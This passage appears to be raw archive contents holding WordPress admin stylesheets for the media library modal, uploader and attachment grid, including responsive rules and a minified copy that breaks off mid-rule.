		margin-bottom: 0;
	}

	.image-details .embed-media-settings .setting input.link-to-custom,
	.image-details .embed-media-settings .setting input[type="text"],
	.image-details .embed-media-settings .setting textarea {
		width: 100%;
		margin-right: 0;
	}

	.image-details .embed-media-settings .setting.has-description {
		margin-bottom: 5px;
	}

	.image-details .description {
		width: auto;
		margin: 0 20px;
	}

	.image-details .embed-media-settings .custom-size {
		margin-right: 20px;
	}

	.collection-settings .setting input[type="checkbox"] {
		float: none;
		margin-top: 0;
	}

	.media-selection {
		min-width: 120px;
	}

	.media-selection:after {
		background: none;
	}

	.media-selection .attachments {
		display: none;
	}

	.media-modal .attachments-browser .media-toolbar .search {
		max-width: 100%;
		height: auto;
		float: left;
	}

	.media-modal .attachments-browser .media-toolbar .attachment-filters {
		height: auto;
	}

	/* Text inputs need to be 16px, or they force zooming on iOS */
	.media-frame input[type="text"],
	.media-frame input[type="password"],
	.media-frame input[type="number"],
	.media-frame input[type="search"],
	.media-frame input[type="email"],
	.media-frame input[type="url"],
	.media-frame textarea,
	.media-frame select {
		font-size: 16px;
		line-height: 1.5;
	}

	.media-frame .media-toolbar input[type="search"] {
		line-height: 2.3755; /* 38px */
	}

	.media-modal .media-toolbar .spinner {
		margin-bottom: 10px;
	}
}

@media screen and (max-width: 782px) {
	.imgedit-panel-content {
		grid-template-columns: auto;
	}

	.media-frame-toolbar .media-toolbar {
		bottom: -54px;
	}

	.mode-grid .attachments-browser .media-toolbar-primary {
		display: grid;
		grid-template-columns: auto 1fr;
	}

	.mode-grid .attachments-browser .media-toolbar-primary input[type="search"] {
		width: 100%;
	}

	.media-sidebar .copy-to-clipboard-container .success,
	.attachment-details .copy-to-clipboard-container .success {
		font-size: 14px;
		line-height: 2.71428571;
	}

	.media-frame .wp-filter .media-toolbar-secondary {
		position: unset;
	}

	.media-frame .media-toolbar-secondary .spinner {
		position: absolute;
		top: 0;
		bottom: 0;
		margin: auto;
		right: 0;
		left: 0;
		z-index: 9;
	}

	.media-bg-overlay {
		content: '';
		background: #ffffff;
		width: 100%;
		height: 100%;
		display: none;
		position: absolute;
		right: 0;
		left: 0;
		top: 0;
		bottom: 0;
		opacity: 0.6;
	}
}

/* Responsive on portrait and landscape */
@media only screen and (max-width: 640px), screen and (max-height: 400px) {
	/* Full-bleed modal */
	.media-modal,
	.image-details .media-modal {
		position: fixed;
		top: 0;
		right: 0;
		left: 0;
		bottom: 0;
	}

	.media-modal-backdrop {
		position: fixed;
	}

	.options-general-php .crop-content.site-icon,
	.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon {
		margin-left: 0;
	}

	.media-sidebar {
		z-index: 1900;
		max-width: 70%;
		bottom: 120%;
		box-sizing: border-box;
		padding-bottom: 0;
	}

	.media-sidebar.visible {
		bottom: 0;
	}

	.attachments-browser .attachments,
	.attachments-browser .uploader-inline,
	.attachments-browser .media-toolbar,
	.media-frame-content .attachments-browser .attachments-wrapper {
		left: 0;
	}

	.image-details .media-frame-title {
		display: block;
		top: 0;
		font-size: 14px;
	}

	.image-details .column-image,
	.image-details .column-settings {
		width: 100%;
		position: relative;
		right: 0;
	}

	.image-details .column-settings {
		padding: 4px 0;
	}

	/* Media tabs on the top */
	.media-frame-content .media-toolbar .instructions {
		display: none;
	}

	/* Change margin direction on load more button in responsive views. */
	.load-more-wrapper .load-more-jump {
		margin: 12px 0 0;
	}

}

@media only screen and (min-width: 901px) and (max-height: 400px) {
	.media-menu,
	.media-frame:not(.hide-menu) .media-menu {
		top: 0;
		padding-top: 44px;
	}

	/* Change margin direction on load more button in responsive views. */
	.load-more-wrapper .load-more-jump {
		margin: 12px 0 0;
	}

}

@media only screen and (max-width: 480px) {
	.wp-core-ui.wp-customizer .media-button {
		margin-top: 13px;
	}
}

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {

	.wp-core-ui .media-modal-icon {
		background-image: url(../images/uploader-icons-2x.png);
		background-size: 134px 15px;
	}

	.media-frame .spinner {
		background-image: url(../images/spinner-2x.gif);
	}
}

.media-frame-content[data-columns="1"] .attachment {
	width: 100%;
}

.media-frame-content[data-columns="2"] .attachment {
	width: 50%;
}

.media-frame-content[data-columns="3"] .attachment {
	width: 33.33%;
}

.media-frame-content[data-columns="4"] .attachment {
	width: 25%;
}

.media-frame-content[data-columns="5"] .attachment {
	width: 20%;
}

.media-frame-content[data-columns="6"] .attachment {
	width: 16.66%;
}

.media-frame-content[data-columns="7"] .attachment {
	width: 14.28%;
}

.media-frame-content[data-columns="8"] .attachment {
	width: 12.5%;
}

.media-frame-content[data-columns="9"] .attachment {
	width: 11.11%;
}

.media-frame-content[data-columns="10"] .attachment {
	width: 10%;
}

.media-frame-content[data-columns="11"] .attachment {
	width: 9.09%;
}

.media-frame-content[data-columns="12"] .attachment {
	width: 8.33%;
}
PK1Xd[��o##classic-themes.min.cssnu�[���/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}PK1Xd[s*ԝ��media-views.min.cssnu�[���/*! This file is auto-generated */
.media-modal *{box-sizing:content-box}.media-modal input,.media-modal select,.media-modal textarea{box-sizing:border-box}.media-frame,.media-modal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:12px;-webkit-overflow-scrolling:touch}.media-modal legend{padding:0;font-size:13px}.media-modal label{font-size:13px}.media-modal .legend-inline{position:absolute;transform:translate(-100%,50%);margin-left:-1%;line-height:1.2}.media-frame a{border-bottom:none;color:#2271b1}.media-frame a:active,.media-frame a:hover{color:#135e96}.media-frame a:focus{box-shadow:0 0 0 2px #2271b1;color:#043959;outline:2px solid transparent}.media-frame a.button{color:#2c3338}.media-frame a.button:hover{color:#1d2327}.media-frame a.button-primary,.media-frame a.button-primary:hover{color:#fff}.media-frame input,.media-frame textarea{padding:6px 8px}.media-frame select,.wp-admin .media-frame select{min-height:30px;vertical-align:middle}.media-frame input[type=color],.media-frame input[type=date],.media-frame input[type=datetime-local],.media-frame input[type=datetime],.media-frame input[type=email],.media-frame input[type=month],.media-frame input[type=number],.media-frame input[type=password],.media-frame input[type=search],.media-frame input[type=tel],.media-frame input[type=text],.media-frame input[type=time],.media-frame input[type=url],.media-frame input[type=week],.media-frame select,.media-frame textarea{box-shadow:0 0 0 transparent;border-radius:4px;border:1px solid #8c8f94;background-color:#fff;color:#2c3338;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.38461538}.media-frame input[type=date],.media-frame input[type=datetime-local],.media-frame input[type=datetime],.media-frame input[type=email],.media-frame input[type=month],.media-frame input[type=number],.media-frame input[type=password],.media-frame input[type=search],.media-frame input[type=tel],.media-frame input[type=text],.media-frame input[type=time],.media-frame input[type=url],.media-frame input[type=week]{padding:0 8px;line-height:2.15384615}.media-frame.mode-grid .wp-filter input[type=search]{font-size:14px;line-height:2}.media-frame input[type=email]:focus,.media-frame input[type=number]:focus,.media-frame input[type=password]:focus,.media-frame input[type=search]:focus,.media-frame input[type=text]:focus,.media-frame input[type=url]:focus,.media-frame select:focus,.media-frame textarea:focus{border-color:#3582c4;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.media-frame input:disabled,.media-frame input[readonly],.media-frame textarea:disabled,.media-frame textarea[readonly]{background-color:#f0f0f1}.media-frame input[type=search]{-webkit-appearance:textfield}.media-frame ::-webkit-input-placeholder{color:#646970}.media-frame ::-moz-placeholder{color:#646970;opacity:1}.media-frame :-ms-input-placeholder{color:#646970}.media-frame .hidden,.media-frame .setting.hidden{display:none}/*!
 * jQuery UI Draggable/Sortable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */.ui-draggable-handle,.ui-sortable-handle{touch-action:none}.media-modal{position:fixed;top:30px;left:30px;right:30px;bottom:30px;z-index:160000}.wp-customizer .media-modal{z-index:560000}.media-modal-backdrop{position:fixed;top:0;left:0;right:0;bottom:0;min-height:360px;background:#000;opacity:.7;z-index:159900}.wp-customizer .media-modal-backdrop{z-index:559900}.media-modal-close{position:absolute;top:0;right:0;width:50px;height:50px;margin:0;padding:0;border:1px solid transparent;background:0 0;color:#646970;z-index:1000;cursor:pointer;outline:0;transition:color .1s ease-in-out,background .1s ease-in-out}.media-modal-close:active,.media-modal-close:hover{color:#135e96}.media-modal-close:focus{color:#135e96;border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8);outline:2px solid transparent}.media-modal-close span.media-modal-icon{background-image:none}.media-modal-close .media-modal-icon:before{content:"\f158";font:normal 20px/1 dashicons;speak:never;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.media-modal-content{position:absolute;top:0;left:0;right:0;bottom:0;overflow:auto;min-height:300px;box-shadow:0 5px 15px rgba(0,0,0,.7);background:#fff;-webkit-font-smoothing:subpixel-antialiased}.media-modal-content .media-frame select.attachment-filters{margin-top:32px;margin-right:2%;width:42%;width:calc(48% - 12px)}.wp-core-ui .media-modal-icon{background-image:url(../images/uploader-icons.png);background-repeat:no-repeat}.media-toolbar{position:absolute;top:0;left:0;right:0;z-index:100;height:60px;padding:0 16px;border:0 solid #dcdcde;overflow:hidden}.media-frame-toolbar .media-toolbar{top:auto;bottom:-47px;height:auto;overflow:visible;border-top:1px solid #dcdcde}.media-toolbar-primary{float:right;height:100%;position:relative}.media-toolbar-secondary{float:left;height:100%}.media-toolbar-primary>.media-button,.media-toolbar-primary>.media-button-group{margin-left:10px;float:left;margin-top:15px}.media-toolbar-secondary>.media-button,.media-toolbar-secondary>.media-button-group{margin-right:10px;margin-top:15px}.media-sidebar{position:absolute;top:0;right:0;bottom:0;width:267px;padding:0 16px;z-index:75;background:#f6f7f7;border-left:1px solid #dcdcde;overflow:auto;-webkit-overflow-scrolling:touch}.media-sidebar::after{content:"";display:flex;clear:both;height:24px}.hide-toolbar .media-sidebar{bottom:0}.image-details .media-embed h2,.media-sidebar h2{position:relative;font-weight:600;text-transform:uppercase;font-size:12px;color:#646970;margin:24px 0 8px}.attachment-details .setting,.media-sidebar .setting{display:block;float:left;width:100%;margin:0 0 10px}.attachment-details h2{display:grid;grid-template-columns:auto 5em}.media-sidebar .collection-settings .setting{margin:1px 0}.attachment-details .setting.has-description,.media-sidebar .setting.has-description{margin-bottom:5px}.media-sidebar .setting .link-to-custom{margin:3px 2px 0}.attachment-details .setting .name,.attachment-details .setting span,.media-sidebar .setting .name,.media-sidebar .setting .value,.media-sidebar .setting span{min-width:30%;margin-right:4%;font-size:12px;text-align:right;word-wrap:break-word}.media-sidebar .setting .name{max-width:80px}.media-sidebar .setting .value{text-align:left}.media-sidebar .setting select{max-width:65%}.attachment-details .field input[type=checkbox],.attachment-details .field input[type=radio],.attachment-details .setting input[type=checkbox],.attachment-details .setting input[type=radio],.media-sidebar .field input[type=checkbox],.media-sidebar .field input[type=radio],.media-sidebar .setting input[type=checkbox],.media-sidebar .setting input[type=radio]{float:none;margin:8px 3px 0;padding:0}.attachment-details .setting .name,.attachment-details .setting .value,.attachment-details .setting span,.compat-item label span,.media-sidebar .checkbox-label-inline,.media-sidebar .setting .name,.media-sidebar .setting .value,.media-sidebar .setting span{float:left;min-height:22px;padding-top:8px;line-height:1.33333333;font-weight:400;color:#646970}.media-sidebar .checkbox-label-inline{font-size:12px}.attachment-details .copy-to-clipboard-container,.media-sidebar .copy-to-clipboard-container{flex-wrap:wrap;margin-top:10px;margin-left:calc(35% - 1px);padding-top:10px}.attachment-details .attachment-info .copy-to-clipboard-container{float:none}.attachment-details .copy-to-clipboard-container .success,.media-sidebar .copy-to-clipboard-container .success{padding:0;min-height:0;line-height:2.18181818;text-align:left;color:#007017}.compat-item label span{text-align:right}.attachment-details .setting .value,.attachment-details .setting input[type=email],.attachment-details .setting input[type=number],.attachment-details .setting input[type=password],.attachment-details .setting input[type=search],.attachment-details .setting input[type=tel],.attachment-details .setting input[type=text],.attachment-details .setting input[type=url],.attachment-details .setting textarea,.attachment-details .setting+.description,.media-sidebar .setting .value,.media-sidebar .setting input[type=email],.media-sidebar .setting input[type=number],.media-sidebar .setting input[type=password],.media-sidebar .setting input[type=search],.media-sidebar .setting input[type=tel],.media-sidebar .setting input[type=text],.media-sidebar .setting input[type=url],.media-sidebar .setting textarea{box-sizing:border-box;margin:1px;width:65%;float:right}.attachment-details .setting .value,.attachment-details .setting+.description,.media-sidebar .setting .value{margin:0 1px;text-align:left}.attachment-details .setting+.description{clear:both;font-size:12px;font-style:normal;margin-bottom:10px}.attachment-details .setting textarea,.compat-item .field textarea,.media-sidebar .setting textarea{height:62px;resize:vertical}.alt-text textarea,.attachment-details .alt-text textarea,.compat-item .alt-text textarea,.media-sidebar .alt-text textarea{height:50px}.compat-item{float:left;width:100%;overflow:hidden}.compat-item table{width:100%;table-layout:fixed;border-spacing:0;border:0}.compat-item tr{padding:2px 0;display:block;overflow:hidden}.compat-item .field,.compat-item .label{display:block;margin:0;padding:0}.compat-item .label{min-width:30%;margin-right:4%;float:left;text-align:right}.compat-item .label span{display:block;width:100%}.compat-item .field{float:right;width:65%;margin:1px}.compat-item .field input[type=email],.compat-item .field input[type=number],.compat-item .field input[type=password],.compat-item .field input[type=search],.compat-item .field input[type=tel],.compat-item .field input[type=text],.compat-item .field input[type=url],.compat-item .field textarea{width:100%;margin:0;box-sizing:border-box}.sidebar-for-errors .attachment-details,.sidebar-for-errors .compat-item,.sidebar-for-errors .media-sidebar .media-progress-bar,.sidebar-for-errors .upload-details{display:none!important}.media-menu{position:absolute;top:0;left:0;right:0;bottom:0;margin:0;padding:50px 0 10px;background:#f6f7f7;border-right-width:1px;border-right-style:solid;border-right-color:#c3c4c7;-webkit-user-select:none;user-select:none}.media-menu .media-menu-item{display:block;box-sizing:border-box;width:100%;position:relative;border:0;margin:0;padding:8px 20px;font-size:14px;line-height:1.28571428;background:0 0;color:#2271b1;text-align:left;text-decoration:none;cursor:pointer}.media-menu .media-menu-item:hover{background:rgba(0,0,0,.04)}.media-menu .media-menu-item:active{color:#2271b1;outline:0}.media-menu .active,.media-menu .active:hover{color:#1d2327;font-weight:600}.media-menu .media-menu-item:focus{box-shadow:0 0 0 2px #2271b1;color:#043959;outline:2px solid transparent}.media-menu .separator{height:0;margin:12px 20px;padding:0;border-top:1px solid #dcdcde}.media-router{position:relative;padding:0 6px;margin:0;clear:both}.media-router .media-menu-item{position:relative;float:left;border:0;margin:0;padding:8px 10px 9px;height:18px;line-height:1.28571428;font-size:14px;text-decoration:none;background:0 0;cursor:pointer;transition:none}.media-router .media-menu-item:last-child{border-right:0}.media-router .media-menu-item:active,.media-router .media-menu-item:hover{color:#2271b1}.media-router .active,.media-router .active:hover{color:#1d2327}.media-router .media-menu-item:focus{box-shadow:0 0 0 2px #2271b1;color:#043959;outline:2px solid transparent;z-index:1}.media-router .active,.media-router .media-menu-item.active:last-child{margin:-1px -1px 0;background:#fff;border:1px solid #dcdcde;border-bottom:none}.media-router .active:after{display:none}.media-frame{overflow:hidden;position:absolute;top:0;left:0;right:0;bottom:0}.media-frame-menu{position:absolute;top:0;left:0;bottom:0;width:200px;z-index:150}.media-frame-title{position:absolute;top:0;left:200px;right:0;height:50px;z-index:200}.media-frame-router{position:absolute;top:50px;left:200px;right:0;height:36px;z-index:200}.media-frame-content{position:absolute;top:84px;left:200px;right:0;bottom:61px;height:auto;width:auto;margin:0;overflow:auto;background:#fff;border-top:1px solid #dcdcde}.media-frame-toolbar{position:absolute;left:200px;right:0;z-index:100;bottom:60px;height:auto}.media-frame.hide-menu .media-frame-content,.media-frame.hide-menu .media-frame-router,.media-frame.hide-menu .media-frame-title,.media-frame.hide-menu .media-frame-toolbar{left:0}.media-frame.hide-toolbar .media-frame-content{bottom:0}.media-frame.hide-router .media-frame-content{top:50px}.media-frame.hide-menu .media-frame-menu,.media-frame.hide-menu .media-frame-menu-heading,.media-frame.hide-router .media-frame-router,.media-frame.hide-toolbar .media-frame-toolbar{display:none}.media-frame-title h1{padding:0 16px;font-size:22px;line-height:2.27272727;margin:0}.media-attachments-filter-heading,.media-frame-menu-heading{position:absolute;left:20px;top:22px;margin:0;font-size:13px;line-height:1;z-index:151}.media-attachments-filter-heading{top:10px;left:16px}.mode-grid .media-attachments-filter-heading{top:0;left:-9999px}.mode-grid .media-frame-actions-heading{display:none}.wp-core-ui .button.media-frame-menu-toggle{display:none}.media-frame-title .suggested-dimensions{font-size:14px;float:right;margin-right:20px}.media-frame-content .crop-content{height:100%}.options-general-php .crop-content.site-icon,.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon{margin-right:300px}.media-frame-content .crop-content .crop-image{display:block;margin:auto;max-width:100%;max-height:100%}.media-frame-content .crop-content .upload-errors{position:absolute;width:300px;top:50%;left:50%;margin-left:-150px;margin-right:-150px;z-index:600000}.media-frame .media-iframe{overflow:hidden}.media-frame .media-iframe,.media-frame .media-iframe iframe{height:100%;width:100%;border:0}.media-frame select.attachment-filters{margin-top:11px;margin-right:2%;max-width:42%;max-width:calc(48% - 12px)}.media-frame select.attachment-filters:last-of-type{margin-right:0}.media-frame .search{margin:32px 0 0;padding:4px;font-size:13px;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;-webkit-appearance:none}.media-toolbar-primary .search{max-width:100%}.media-modal .media-frame .media-search-input-label{position:absolute;left:0;top:10px;margin:0;line-height:1}.wp-core-ui .attachments{margin:0;-webkit-overflow-scrolling:touch}.wp-core-ui .attachment{position:relative;float:left;padding:8px;margin:0;color:#3c434a;cursor:pointer;list-style:none;text-align:center;-webkit-user-select:none;user-select:none;width:25%;box-sizing:border-box}.wp-core-ui .attachment.details:focus,.wp-core-ui .attachment:focus,.wp-core-ui .selected.attachment:focus{box-shadow:inset 0 0 2px 3px #fff,inset 0 0 0 7px #4f94d4;outline:2px solid transparent;outline-offset:-6px}.wp-core-ui .selected.attachment{box-shadow:inset 0 0 0 5px #fff,inset 0 0 0 7px #c3c4c7}.wp-core-ui .attachment.details{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #2271b1}.wp-core-ui .attachment-preview{position:relative;box-shadow:inset 0 0 15px rgba(0,0,0,.1),inset 0 0 0 1px rgba(0,0,0,.05);background:#f0f0f1;cursor:pointer}.wp-core-ui .attachment-preview:before{content:"";display:block;padding-top:100%}.wp-core-ui .attachment .icon{margin:0 auto;overflow:hidden}.wp-core-ui .attachment .thumbnail{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0;opacity:1;transition:opacity .1s}.wp-core-ui .attachment .portrait img{max-width:100%}.wp-core-ui .attachment .landscape img{max-height:100%}.wp-core-ui .attachment .thumbnail:after{content:"";display:block;position:absolute;top:0;left:0;right:0;bottom:0;box-shadow:inset 0 0 0 1px rgba(0,0,0,.1);overflow:hidden}.wp-core-ui .attachment .thumbnail img{top:0;left:0}.wp-core-ui .attachment .thumbnail .centered{position:absolute;top:0;left:0;width:100%;height:100%;transform:translate(50%,50%)}.wp-core-ui .attachment .thumbnail .centered img{transform:translate(-50%,-50%)}.wp-core-ui .attachments-browser .attachment .thumbnail .centered img.icon{transform:translate(-50%,-70%)}.wp-core-ui .attachment .filename{position:absolute;left:0;right:0;bottom:0;overflow:hidden;max-height:100%;word-wrap:break-word;text-align:center;font-weight:600;background:rgba(255,255,255,.8);box-shadow:inset 0 0 0 1px rgba(0,0,0,.15)}.wp-core-ui .attachment .filename div{padding:5px 10px}.wp-core-ui .attachment .thumbnail img{position:absolute}.wp-core-ui .attachment-close{display:block;position:absolute;top:5px;right:5px;height:22px;width:22px;padding:0;background-color:#fff;background-position:-96px 4px;border-radius:3px;box-shadow:0 0 0 1px rgba(0,0,0,.3);transition:none}.wp-core-ui .attachment-close:focus,.wp-core-ui .attachment-close:hover{background-position:-36px 4px}.wp-core-ui .attachment .check{display:none;height:24px;width:24px;padding:0;border:0;position:absolute;z-index:10;top:0;right:0;outline:0;background:#f0f0f1;cursor:pointer;box-shadow:0 0 0 1px #fff,0 0 0 2px rgba(0,0,0,.15)}.wp-core-ui .attachment .check .media-modal-icon{display:block;background-position:-1px 0;height:15px;width:15px;margin:5px}.wp-core-ui .attachment .check:hover .media-modal-icon{background-position:-40px 0}.wp-core-ui .attachment.selected .check{display:block}.wp-core-ui .attachment.details .check,.wp-core-ui .attachment.selected .check:focus,.wp-core-ui .media-frame.mode-grid .attachment.selected .check{background-color:#2271b1;box-shadow:0 0 0 1px #fff,0 0 0 2px #2271b1}.wp-core-ui .attachment.selected .check:focus{outline:2px solid transparent}.wp-core-ui .attachment.details .check .media-modal-icon,.wp-core-ui .media-frame.mode-grid .attachment.selected .check .media-modal-icon{background-position:-21px 0}.wp-core-ui .attachment.details .check:hover .media-modal-icon,.wp-core-ui .attachment.selected .check:focus .media-modal-icon,.wp-core-ui .media-frame.mode-grid .attachment.selected .check:hover .media-modal-icon{background-position:-60px 0}.wp-core-ui .media-frame .attachment .describe{position:relative;display:block;width:100%;margin:0;padding:0 8px;font-size:12px;border-radius:0}.media-frame .attachments-browser{position:relative;width:100%;height:100%;overflow:hidden}.attachments-browser .media-toolbar{right:300px;height:72px;background:#fff}.attachments-browser.hide-sidebar .media-toolbar{right:0}.attachments-browser .media-toolbar-primary>.media-button,.attachments-browser .media-toolbar-primary>.media-button-group,.attachments-browser .media-toolbar-secondary>.media-button,.attachments-browser .media-toolbar-secondary>.media-button-group{margin:10px 0}.attachments-browser .attachments{padding:2px 8px 8px}.attachments-browser .uploader-inline,.attachments-browser.has-load-more .attachments-wrapper,.attachments-browser:not(.has-load-more) .attachments{position:absolute;top:72px;left:0;right:300px;bottom:0;overflow:auto;outline:0}.attachments-browser .uploader-inline.hidden{display:none}.attachments-browser .media-toolbar-primary{max-width:33%}.mode-grid .attachments-browser .media-toolbar-primary{display:flex;align-items:center;column-gap:.5rem;margin:11px 0}.mode-grid .attachments-browser .media-toolbar-mode-select .media-toolbar-primary{display:none}.attachments-browser .media-toolbar-secondary{max-width:66%}.uploader-inline .close{background-color:transparent;border:0;cursor:pointer;height:48px;outline:0;padding:0;position:absolute;right:2px;text-align:center;top:2px;width:48px;z-index:1}.uploader-inline .close:before{font:normal 30px/1 dashicons!important;color:#50575e;display:inline-block;content:"\f335";font-weight:300;margin-top:1px}.uploader-inline .close:focus{outline:1px solid #4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.attachments-browser.hide-sidebar .attachments,.attachments-browser.hide-sidebar .uploader-inline{right:0;margin-right:0}.attachments-browser .instructions{display:inline-block;margin-top:16px;line-height:1.38461538;font-size:13px;color:#646970}.attachments-browser .no-media{padding:2em 0 0 2em}.more-loaded .attachment:not(.found-media){background:#dcdcde}.load-more-wrapper{clear:both;display:flex;flex-wrap:wrap;align-items:center;justify-content:center;padding:1em 0}.load-more-wrapper .load-more-count{min-width:100%;margin:0 0 1em;text-align:center}.load-more-wrapper .load-more{margin:0}.media-frame .load-more-wrapper .load-more+.spinner{float:none;margin:0 -30px 0 10px}.media-frame .load-more-wrapper .load-more.hidden+.spinner{margin:0}.load-more-wrapper::after{content:"";min-width:100%;order:1}.load-more-wrapper .load-more-jump{margin:0 0 0 12px}.attachment.new-media{outline:2px dotted #c3c4c7}.media-progress-bar{position:relative;height:10px;width:70%;margin:10px auto;border-radius:10px;background:#dcdcde;background:rgba(0,0,0,.1)}.media-progress-bar div{height:10px;min-width:20px;width:0;background:#2271b1;border-radius:10px;transition:width .3s}.media-uploader-status .media-progress-bar{display:none;width:100%}.uploading.media-uploader-status .media-progress-bar{display:block}.attachment-preview .media-progress-bar{position:absolute;top:50%;left:15%;width:70%;margin:-5px 0 0}.media-uploader-status{position:relative;margin:0 auto;padding-bottom:10px;max-width:400px}.uploader-inline .media-uploader-status h2{display:none}.media-uploader-status .upload-details{display:none;font-size:12px;color:#646970}.uploading.media-uploader-status .upload-details{display:block}.media-uploader-status .upload-detail-separator{padding:0 4px}.media-uploader-status .upload-count{color:#3c434a}.media-uploader-status .upload-dismiss-errors,.media-uploader-status .upload-errors{display:none}.errors.media-uploader-status .upload-dismiss-errors,.errors.media-uploader-status .upload-errors{display:block}.media-uploader-status .upload-dismiss-errors{transition:none;text-decoration:none}.upload-errors .upload-error{padding:12px;margin-bottom:12px;background:#fff;border-left:4px solid #d63638;box-shadow:0 1px 1px 0 rgba(0,0,0,.1)}.uploader-inline .upload-errors .upload-error{padding:12px 30px;background-color:#fcf0f1;box-shadow:none}.upload-errors .upload-error-filename{font-weight:600}.upload-errors .upload-error-message{display:block;padding-top:8px;word-wrap:break-word}.uploader-window,.wp-editor-wrap .uploader-editor{top:0;left:0;right:0;bottom:0;text-align:center;display:none}.uploader-window{position:fixed;z-index:250000;opacity:0;transition:opacity 250ms}.wp-editor-wrap .uploader-editor{position:absolute;z-index:99998;background:rgba(140,143,148,.9)}.uploader-window,.wp-editor-wrap .uploader-editor.droppable{background:rgba(10,75,120,.9)}.uploader-window-content,.wp-editor-wrap .uploader-editor-content{position:absolute;top:10px;left:10px;right:10px;bottom:10px;border:1px dashed #fff}.uploader-window .uploader-editor-title,.uploader-window h1,.wp-editor-wrap .uploader-editor .uploader-editor-title{position:absolute;top:50%;left:0;right:0;transform:translateY(-50%);font-size:3em;line-height:1.3;font-weight:600;color:#fff;margin:0;padding:0 10px}.wp-editor-wrap .uploader-editor .uploader-editor-title{display:none}.wp-editor-wrap .uploader-editor.droppable .uploader-editor-title{display:block}.uploader-window .media-progress-bar{margin-top:20px;max-width:300px;background:0 0;border-color:#fff;display:none}.uploader-window .media-progress-bar div{background:#fff}.uploading .uploader-window .media-progress-bar{display:block}.media-frame .uploader-inline{margin-bottom:20px;padding:0;text-align:center}.uploader-inline-content{position:absolute;top:30%;left:0;right:0}.uploader-inline-content .upload-ui{margin:2em 0}.uploader-inline-content .post-upload-ui{margin-bottom:2em}.uploader-inline .has-upload-message .upload-ui{margin:0 0 4em}.uploader-inline h2{font-size:20px;line-height:1.4;font-weight:400;margin:0}.uploader-inline .has-upload-message .upload-instructions{font-size:14px;color:#3c434a;font-weight:400}.uploader-inline .drop-instructions{display:none}.supports-drag-drop .uploader-inline .drop-instructions{display:block}.uploader-inline p{margin:.5em 0}.uploader-inline .media-progress-bar{display:none}.uploading.uploader-inline .media-progress-bar{display:block}.uploader-inline .browser{display:inline-block!important}.media-selection{position:absolute;top:0;left:0;right:350px;height:60px;padding:0 0 0 16px;overflow:hidden;white-space:nowrap}.media-selection .selection-info{display:inline-block;font-size:12px;height:60px;margin-right:10px;vertical-align:top}.media-selection.editing,.media-selection.empty{display:none}.media-selection.one .edit-selection{display:none}.media-selection .count{display:block;padding-top:12px;font-size:14px;line-height:1.42857142;font-weight:600}.media-selection .button-link{float:left;padding:1px 8px;margin:1px 8px 1px -8px;line-height:1.4;border-right:1px solid #dcdcde;color:#2271b1;text-decoration:none}.media-selection .button-link:focus,.media-selection .button-link:hover{color:#135e96}.media-selection .button-link:last-child{border-right:0;margin-right:0}.selection-info .clear-selection{color:#d63638}.selection-info .clear-selection:focus,.selection-info .clear-selection:hover{color:#d63638}.media-selection .selection-view{display:inline-block;vertical-align:top}.media-selection .attachments{display:inline-block;height:48px;margin:6px;padding:0;overflow:hidden;vertical-align:top}.media-selection .attachment{width:40px;padding:0;margin:4px}.media-selection .attachment .thumbnail{top:0;right:0;bottom:0;left:0}.media-selection .attachment .icon{width:50%}.media-selection .attachment-preview{box-shadow:none;background:0 0}.wp-core-ui .media-selection .attachment.details:focus,.wp-core-ui .media-selection .attachment:focus,.wp-core-ui .media-selection .selected.attachment:focus{box-shadow:0 0 0 1px #fff,0 0 2px 3px #4f94d4;outline:2px solid transparent}.wp-core-ui .media-selection .selected.attachment{box-shadow:none}.wp-core-ui .media-selection .attachment.details{box-shadow:0 0 0 1px #fff,0 0 0 3px #2271b1}.media-selection:after{content:"";display:block;position:absolute;top:0;right:0;bottom:0;width:25px;background-image:linear-gradient(to left,#fff,rgba(255,255,255,0))}.media-selection .attachment .filename{display:none}.media-frame .spinner{background:url(../images/spinner.gif) no-repeat;background-size:20px 20px;float:right;display:inline-block;visibility:hidden;opacity:.7;width:20px;height:20px;margin:0;vertical-align:middle}.media-frame .media-sidebar .settings-save-status .spinner{position:absolute;right:0;top:0}.media-frame.mode-grid .spinner{margin:0;float:none;vertical-align:middle}.media-modal .media-toolbar .spinner{float:none;vertical-align:bottom;margin:0 0 5px 5px}.media-frame .instructions+.spinner.is-active{vertical-align:middle}.media-frame .spinner.is-active{visibility:visible}.attachment-details{position:relative;overflow:auto}.attachment-details .settings-save-status{text-align:right;text-transform:none;font-weight:400}.attachment-details .settings-save-status .spinner{float:none;margin-left:5px}.attachment-details .settings-save-status .saved{display:none}.attachment-details.save-waiting .settings-save-status .spinner{visibility:visible}.attachment-details.save-complete .settings-save-status .saved{display:inline-block}.attachment-info{overflow:hidden;min-height:60px;margin-bottom:16px;line-height:1.5;color:#646970;border-bottom:1px solid #dcdcde;padding-bottom:11px}.attachment-info .wp-media-wrapper{margin-bottom:8px}.attachment-info .wp-media-wrapper.wp-audio{margin-top:13px}.attachment-info .filename{font-weight:600;color:#3c434a;word-wrap:break-word}.attachment-info .thumbnail{position:relative;float:left;max-width:120px;max-height:120px;margin-top:5px;margin-right:10px;margin-bottom:5px}.uploading .attachment-info 